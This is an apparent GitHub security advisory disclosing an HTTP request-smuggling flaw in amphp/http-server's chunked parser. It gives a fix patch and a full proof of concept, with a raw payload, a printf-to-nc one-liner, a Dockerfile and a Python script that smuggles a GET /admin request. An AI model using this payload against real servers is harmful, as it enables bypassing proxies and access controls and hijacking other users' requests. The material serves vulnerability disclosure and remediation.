Skip to main content
Menu
Advisories

HTTP/1 Malformed Chunk Delimiter Allows Request Smuggling

GHSA-H3RW-GM3P-6757Published Updated GitHub

Description

HTTP/1 Malformed Chunk Delimiter Allows Request Smuggling

Summary

amphp/http-server v3.4.6 contains a request smuggling vulnerability in its HTTP/1 chunked transfer encoding parser. After consuming the data bytes of a non-zero chunk, the parser unconditionally discards the next two bytes (src/Driver/Http1Driver.php:676) without verifying they are the RFC-required \r\n delimiter. An attacker can substitute any two bytes (e.g., AB) in place of CRLF, causing the bytes that follow to be interpreted as a new HTTP request on the same keep-alive connection. When a front-end proxy or WAF parses the stream differently, security controls can be bypassed and other users' requests can be hijacked. CVSS 3.1 Base Score: 7.7 (High).

Details

RFC 9112 §7.1.1 mandates that each chunk-data block be terminated by a CRLF sequence. The Http1Driver chunked body parsing loop, entered at line 486 when Transfer-Encoding: chunked is detected (line 240), handles non-zero chunks at lines 670–676:

// src/Driver/Http1Driver.php:670
if ($bufferLength >= $chunkLengthRemaining + 2) {
    try {
        $queue->push(\substr($buffer, 0, $chunkLengthRemaining));
    } catch (DisposedException) {
        // Ignore and continue consuming body.
    }
    $buffer = \substr($buffer, $chunkLengthRemaining + 2);  // line 676 — no CRLF check

The expression $chunkLengthRemaining + 2 blindly skips exactly two bytes regardless of their value. In contrast, the terminal chunk (size = 0) path at lines 534–535 does validate \r\n, creating an inconsistency that leaves the non-zero chunk path exploitable.

The full attacker-controlled data path is:

  1. src/SocketHttpServer.php:66 — createForDirectAccess() is the public server constructor; no special configuration is required.
  2. src/SocketHttpServer.php:190 — DefaultHttpDriverFactory is the default driver factory.
  3. src/Driver/DefaultHttpDriverFactory.php:46 — HTTP/1 clients receive a new Http1Driver.
  4. src/Driver/Http1Driver.php:85 — handleClient() reads attacker-controlled bytes from ReadableStream (source).
  5. src/Driver/Http1Driver.php:240 — Transfer-Encoding: chunked header selects chunked parsing.
  6. src/Driver/Http1Driver.php:486 — chunked body parsing loop begins.
  7. src/Driver/Http1Driver.php:522 — chunk size is parsed via hexdec().
  8. src/Driver/Http1Driver.php:670 — buffer has at least chunkLengthRemaining + 2 bytes.
  9. src/Driver/Http1Driver.php:672 — exactly chunkLengthRemaining bytes are emitted as body data.
  10. src/Driver/Http1Driver.php:676 — sink: two bytes discarded without \r\n validation (RFC 9112 violation).
  11. src/Driver/Http1Driver.php:524 — attacker appends 0\r\n\r\n after the discarded bytes; chunked parsing ends normally, and the smuggled request remains in the buffer as the next request.

The recommended fix is to add an explicit CRLF check before advancing the buffer:

--- a/src/Driver/Http1Driver.php
+++ b/src/Driver/Http1Driver.php
 if ($bufferLength >= $chunkLengthRemaining + 2) {
+    if (\substr($buffer, $chunkLengthRemaining, 2) !== "\r\n") {
+        throw new ClientException(
+            $this->client,
+            "Bad Request: invalid chunk delimiter",
+            HttpStatus::BAD_REQUEST
+        );
+    }
+
     try {
         $queue->push(\substr($buffer, 0, $chunkLengthRemaining));
     } catch (DisposedException) {

PoC

Environment setup

# Build and start the vulnerable server (Docker)
docker build -t vuln-001-amphp -f vuln-001/Dockerfile /path/to/amphp-http-server
docker run -d --name vuln-001-amphp-run -p 127.0.0.1:18080:8080 vuln-001-amphp

The server exposes a single request handler that echoes the request method, path, and buffered body for every request received.

Malformed payload (raw)

POST /first HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
\r\n
3\r\n          <- chunk size = 3
abc            <- 3 bytes of chunk data
AB             <- malformed delimiter (0x41 0x42) instead of CRLF (0x0D 0x0A)
0\r\n          <- terminal chunk
\r\n
GET /admin HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: close\r\n
\r\n

Using nc

printf 'POST /first HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n3\r\nabcAB0\r\n\r\nGET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n' \
  | nc 127.0.0.1 18080

Using the provided Python PoC

python3 vuln-001/poc.py 127.0.0.1 18080

Expected result — two HTTP 200 responses on a single TCP connection:

Response 1 body: 'POST /first body=abc\n'
Response 2 body: 'GET /admin body=\n'

The presence of a second response for GET /admin on the same connection confirms that the bytes AB were accepted as a valid chunk delimiter and the subsequent data was parsed as a new request.

Observed dynamic evidence

[SERVER] Received: POST /first (body_len=3)
[SERVER] Received: GET /admin (body_len=0)

[PASS] Request smuggling CONFIRMED.
  Response 1 body: 'POST /first body=abc\n'
  Response 2 body: 'GET /admin body=\n'

[EVIDENCE] Http1Driver.php:676 accepted bytes 0x41 0x42 ('AB') as chunk delimiter
           instead of requiring 0x0D 0x0A (CRLF). The smuggled GET /admin was
           processed as a second request on the same TCP connection.

Impact

This is an HTTP Request Smuggling vulnerability (CWE-444). Any operator running amphp/http-server directly accessible from the internet or behind a reverse proxy, WAF, or load balancer is potentially affected. High-impact exploitation scenarios include:

  • Security control bypass: A front-end proxy that rejects or rewrites the malformed request may forward a sanitized version while the backend processes the attacker's smuggled request with different routing, bypassing authentication checks, IP-based ACLs, or WAF rules.
  • Cross-user request hijacking: On a shared backend connection, the smuggled request header prefix can capture a subsequent legitimate user's request body, exposing cookies, tokens, or sensitive POST data.
  • Cache poisoning: If a caching layer is present, the smuggled response can poison the cache entry for a legitimate URL.

No authentication is required. The vulnerability is present in the default server configuration reached via SocketHttpServer::createForDirectAccess() without any special setup.

Reproduction artifacts

Dockerfile

FROM php:8.2-cli

# Install system dependencies and PHP extensions
RUN apt-get update && apt-get install -y \
        git \
        zip \
        unzip \
        curl \
    && docker-php-ext-install pcntl \
    && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable amphp/http-server source (build context: parent of vuln-001/)
COPY repo/ /app/

# Install PHP dependencies (dev included for monolog/monolog)
RUN composer install --no-interaction --prefer-dist

# Copy the PoC server script
COPY vuln-001/server.php /app/server.php

EXPOSE 8080

CMD ["php", "/app/server.php"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: HTTP/1 malformed chunk delimiter request smuggling (CWE-444)
Target: amphp/http-server v3.4.6 — src/Driver/Http1Driver.php:676

Vulnerability:
    After consuming chunk-data bytes, the parser executes:
        $buffer = substr($buffer, $chunkLengthRemaining + 2);   # line 676
    without checking that the next 2 bytes equal CR LF.
    Any 2 bytes are silently discarded, allowing the following data
    to be parsed as a new HTTP request on the keep-alive connection.

Proof:
    Send:  POST /first  (chunked, 3-byte chunk "abc" followed by "AB" not CRLF)
           Then:  GET /admin  as the smuggled request
    Expect: Two separate HTTP 200 responses on a single TCP connection,
            proving the smuggled GET /admin was processed.

Usage:
    python3 poc.py [host] [port]
    Defaults: host=127.0.0.1, port=8080
"""

import socket
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080

# Malformed chunked payload:
#   chunk size = 3 (hex "3")
#   chunk data = "abc" (3 bytes)
#   chunk delimiter = "AB"  <-- NOT \r\n; parser discards any 2 bytes at Http1Driver.php:676
#   terminal chunk = "0\r\n\r\n"
#   smuggled request = GET /admin HTTP/1.1
PAYLOAD = (
    b"POST /first HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Connection: keep-alive\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b"3\r\n"         # chunk size = 3
    b"abc"           # chunk data (3 bytes)
    b"AB"            # malformed delimiter — "AB" (0x41 0x42) instead of CR LF (0x0D 0x0A)
    b"0\r\n"         # terminal chunk size = 0
    b"\r\n"          # terminal chunk end
    b"GET /admin HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Connection: close\r\n"
    b"\r\n"
)


def recv_until_close(sock, timeout=5.0):
    """Receive all data until connection closes or timeout."""
    data = b""
    sock.settimeout(timeout)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    return data


def decode_chunked(data):
    """Decode HTTP chunked transfer encoding into plain bytes."""
    result = b""
    offset = 0
    while offset < len(data):
        # Find end of chunk size line
        crlf = data.find(b"\r\n", offset)
        if crlf == -1:
            break
        chunk_size_str = data[offset:crlf].split(b";")[0].strip()
        if not chunk_size_str:
            break
        try:
            chunk_size = int(chunk_size_str, 16)
        except ValueError:
            break
        if chunk_size == 0:
            break  # terminal chunk
        offset = crlf + 2
        result += data[offset:offset + chunk_size]
        offset += chunk_size + 2  # skip chunk data + CRLF
    return result


def split_http_responses(raw):
    """
    Split raw bytes into a list of response dicts.
    Handles Content-Length and Transfer-Encoding: chunked.
    """
    responses = []
    offset = 0
    while offset < len(raw):
        # Find end of headers
        header_end = raw.find(b"\r\n\r\n", offset)
        if header_end == -1:
            break
        header_section = raw[offset:header_end]
        body_start = header_end + 4

        is_chunked = False
        body_len = None
        for line in header_section.split(b"\r\n"):
            ll = line.lower()
            if ll.startswith(b"content-length:"):
                try:
                    body_len = int(line.split(b":", 1)[1].strip())
                except ValueError:
                    pass
            if ll.startswith(b"transfer-encoding:") and b"chunked" in ll:
                is_chunked = True

        if is_chunked:
            # Decode chunked body to find its end
            raw_body = decode_chunked(raw[body_start:])
            # Find actual end position: scan forward past all chunks
            pos = body_start
            while pos < len(raw):
                crlf = raw.find(b"\r\n", pos)
                if crlf == -1:
                    break
                sz_str = raw[pos:crlf].split(b";")[0].strip()
                try:
                    sz = int(sz_str, 16)
                except ValueError:
                    break
                if sz == 0:
                    pos = crlf + 4  # skip "0\r\n\r\n"
                    break
                pos = crlf + 2 + sz + 2
            body = raw_body.decode("latin-1")
            offset = pos
        elif body_len is not None:
            body = raw[body_start:body_start + body_len].decode("latin-1")
            offset = body_start + body_len
        else:
            # No length indicator; read to end of data
            body = raw[body_start:].decode("latin-1")
            offset = len(raw)

        responses.append({
            "headers": header_section.decode("latin-1"),
            "body": body,
        })

    return responses


def main():
    print(f"[*] VULN-001 PoC — HTTP/1 chunk delimiter smuggling (CWE-444)")
    print(f"[*] Target: {HOST}:{PORT}")
    print()

    print(f"[*] Payload breakdown:")
    print(f"    POST /first (chunked, 3-byte chunk 'abc' + malformed delimiter 'AB')")
    print(f"    Terminal chunk: 0\\r\\n\\r\\n")
    print(f"    Smuggled:       GET /admin HTTP/1.1")
    print()

    # Retry loop — server might not be ready immediately
    sock = None
    for attempt in range(10):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3.0)
            sock.connect((HOST, PORT))
            break
        except (ConnectionRefusedError, socket.timeout):
            print(f"[*] Waiting for server (attempt {attempt + 1}/10)...")
            sock.close()
            sock = None
            time.sleep(2)

    if sock is None:
        print(f"[FAIL] Could not connect to {HOST}:{PORT} after 10 attempts")
        sys.exit(2)

    print(f"[*] Connected. Sending {len(PAYLOAD)} byte payload...")
    sock.sendall(PAYLOAD)

    print(f"[*] Waiting for responses...")
    raw = recv_until_close(sock, timeout=5.0)
    sock.close()

    print(f"\n[*] Raw response ({len(raw)} bytes):")
    print("-" * 60)
    print(raw.decode("latin-1", errors="replace"))
    print("-" * 60)

    responses = split_http_responses(raw)
    print(f"\n[*] Parsed {len(responses)} HTTP response(s)")

    if len(responses) == 0:
        print(f"[FAIL] No HTTP responses received.")
        sys.exit(1)

    for i, r in enumerate(responses):
        status_line = r["headers"].split("\r\n")[0] if r["headers"] else "(empty)"
        print(f"  Response {i+1}: {status_line!r} | body={r['body']!r}")

    if len(responses) < 2:
        print(f"\n[FAIL] Expected 2 responses (one for POST /first, one for GET /admin).")
        print(f"       Got only {len(responses)}. Smuggling did NOT succeed.")
        sys.exit(1)

    r1_body = responses[0]["body"]
    r2_body = responses[1]["body"]

    ok1 = "POST" in r1_body and "/first" in r1_body
    ok2 = "GET" in r2_body and "/admin" in r2_body

    if ok1 and ok2:
        print(f"\n[PASS] Request smuggling CONFIRMED.")
        print(f"  Response 1 body: {r1_body!r}  <-- POST /first processed normally")
        print(f"  Response 2 body: {r2_body!r}  <-- GET /admin smuggled via malformed 'AB' delimiter")
        print()
        print(f"[EVIDENCE] Http1Driver.php:676 accepted bytes 0x41 0x42 ('AB') as chunk delimiter")
        print(f"           instead of requiring 0x0D 0x0A (CRLF). The smuggled GET /admin")
        print(f"           was processed as a second request on the same TCP connection.")
        sys.exit(0)
    else:
        print(f"\n[FAIL] Responses received but content does not match smuggling pattern.")
        print(f"  Expected r1 to contain 'POST /first', got: {r1_body!r}")
        print(f"  Expected r2 to contain 'GET /admin',  got: {r2_body!r}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

References

GitHub · amphp/http-server